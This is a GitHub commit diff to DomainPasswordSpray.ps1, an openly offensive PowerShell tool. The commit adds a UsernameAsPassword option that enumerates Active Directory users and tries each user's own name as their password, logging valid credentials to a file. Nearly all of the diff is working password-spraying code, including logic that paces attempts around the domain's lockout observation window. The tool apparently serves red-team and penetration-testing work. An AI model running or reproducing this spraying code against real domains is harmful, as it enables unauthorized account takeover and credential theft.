Skip to content

Commit 94cb725

Browse files
author
dafthack
committed
Merging in @fullmetalcache UsernameAsPassword
1 parent 5a6a19b commit 94cb725

1 file changed

Lines changed: 52 additions & 15 deletions

File tree

DomainPasswordSpray.ps1

Lines changed: 52 additions & 15 deletions
Original file line numberDiff line numberDiff line change
@@ -42,6 +42,10 @@ function Invoke-DomainPasswordSpray{
4242
4343
Forces the spray to continue and doesn't prompt for confirmation.
4444
45+
.PARAMETER UsernameAsPassword
46+
47+
For each user, will try that user's name as their password
48+
4549
.EXAMPLE
4650
4751
C:\PS> Invoke-DomainPasswordSpray -Password Winter2016
@@ -58,6 +62,13 @@ function Invoke-DomainPasswordSpray{
5862
-----------
5963
This command will use the userlist at users.txt and try to authenticate to the domain "domain-name" using each password in the passlist.txt file one at a time. It will automatically attempt to detect the domain's lockout observation window and restrict sprays to 1 attempt during each window.
6064
65+
.EXAMPLE
66+
67+
C:\PS> Invoke-DomainPasswordSpray -UsernameAsPassword -OutFile valid-creds.txt
68+
69+
Description
70+
-----------
71+
This command will automatically generate a list of users from the current user's domain and attempt to authenticate as each user by using their username as their password. Any valid credentials will be saved to valid-creds.txt
6172
6273
#>
6374
param(
@@ -88,10 +99,16 @@ function Invoke-DomainPasswordSpray{
8899
[Parameter(Position = 6, Mandatory = $false)]
89100
[switch]
90101
$Force,
91-
[Parameter(Mandatory = $false)]
102+
103+
[Parameter(Position = 7, Mandatory = $false)]
104+
[switch]
105+
$UsernameAsPassword,
106+
107+
[Parameter(Position = 8, Mandatory = $false)]
92108
[int]
93109
$Delay=0,
94-
[Parameter(Mandatory = $false)]
110+
111+
[Parameter(Position = 9, Mandatory = $false)]
95112
$Jitter=0
96113

97114
)
@@ -100,6 +117,10 @@ function Invoke-DomainPasswordSpray{
100117
{
101118
$Passwords = @($Password)
102119
}
120+
elseif($UsernameAsPassword)
121+
{
122+
$Passwords = ""
123+
}
103124
elseif($PasswordList)
104125
{
105126
$Passwords = Get-Content $PasswordList
@@ -190,15 +211,22 @@ function Invoke-DomainPasswordSpray{
190211
Write-Host -ForegroundColor Yellow "[*] Password spraying has begun with " $Passwords.count " passwords"
191212
Write-Host "[*] This might take a while depending on the total number of users"
192213

193-
194-
for($i = 0; $i -lt $Passwords.count; $i++)
214+
if($UsernameAsPassword)
215+
{
216+
Invoke-SpraySinglePassword -Domain $CurrentDomain -UserListArray $UserListArray -OutFile $OutFile -Delay $Delay -Jitter $Jitter -UsernameAsPassword
217+
}
218+
else
195219
{
196-
Invoke-SpraySinglePassword -Domain $CurrentDomain -UserListArray $UserListArray -Password $Passwords[$i] -OutFile $OutFile -Delay $Delay -Jitter $Jitter
197-
if (($i+1) -lt $Passwords.count)
220+
for($i = 0; $i -lt $Passwords.count; $i++)
198221
{
199-
Countdown-Timer -Seconds (60*$observation_window)
222+
Invoke-SpraySinglePassword -Domain $CurrentDomain -UserListArray $UserListArray -Password $Passwords[$i] -OutFile $OutFile -Delay $Delay -Jitter $Jitter
223+
if (($i+1) -lt $Passwords.count)
224+
{
225+
Countdown-Timer -Seconds (60*$observation_window)
226+
}
200227
}
201228
}
229+
202230
Write-Host -ForegroundColor Yellow "[*] Password spraying is complete"
203231
if ($OutFile -ne "")
204232
{
@@ -387,12 +415,12 @@ function Get-DomainUserList
387415
$UserSearcher.filter = "(&(objectCategory=person)(objectClass=user)$Filter)"
388416
}
389417

390-
$UserSearcher.PropertiesToLoad.add("samaccountname")
391-
$UserSearcher.PropertiesToLoad.add("lockouttime")
392-
$UserSearcher.PropertiesToLoad.add("badpwdcount")
393-
$UserSearcher.PropertiesToLoad.add("badpasswordtime")
418+
$UserSearcher.PropertiesToLoad.add("samaccountname") > $Null
419+
$UserSearcher.PropertiesToLoad.add("lockouttime") > $Null
420+
$UserSearcher.PropertiesToLoad.add("badpwdcount") > $Null
421+
$UserSearcher.PropertiesToLoad.add("badpasswordtime") > $Nulll
394422

395-
Write-Host $UserSearcher.filter
423+
#Write-Host $UserSearcher.filter
396424

397425
# grab batches of 1000 in results
398426
$UserSearcher.PageSize = 1000
@@ -428,7 +456,7 @@ function Get-DomainUserList
428456
# or if the time since the last failed login is greater than the domain
429457
# observation window add user to spray list
430458
if (($timedifference -gt $observation_window) -or ($attemptsuntillockout -gt 1))
431-
{
459+
{
432460
$UserListArray += $samaccountname
433461
}
434462
}
@@ -455,16 +483,21 @@ function Invoke-SpraySinglePassword
455483
[Parameter(Position=2)]
456484
[string[]]
457485
$UserListArray,
458-
[Parameter(Position=3, Mandatory=$true)]
486+
[Parameter(Position=3)]
459487
[string]
460488
$Password,
461489
[Parameter(Position=4)]
462490
[string]
463491
$OutFile,
492+
[Parameter(Position=5)]
464493
[int]
465494
$Delay=0,
495+
[Parameter(Position=6)]
466496
[double]
467-
$Jitter=0
497+
$Jitter=0,
498+
[Parameter(Position=7)]
499+
[switch]
500+
$UsernameAsPassword
468501
)
469502
$time = Get-Date
470503
$count = $UserListArray.count
@@ -475,6 +508,10 @@ function Invoke-SpraySinglePassword
475508

476509
foreach ($User in $UserListArray)
477510
{
511+
if ($UsernameAsPassword)
512+
{
513+
$Password = $User
514+
}
478515
$Domain_check = New-Object System.DirectoryServices.DirectoryEntry($Domain,$User,$Password)
479516
if ($Domain_check.name -ne $null)
480517
{

0 commit comments

Comments
 (0)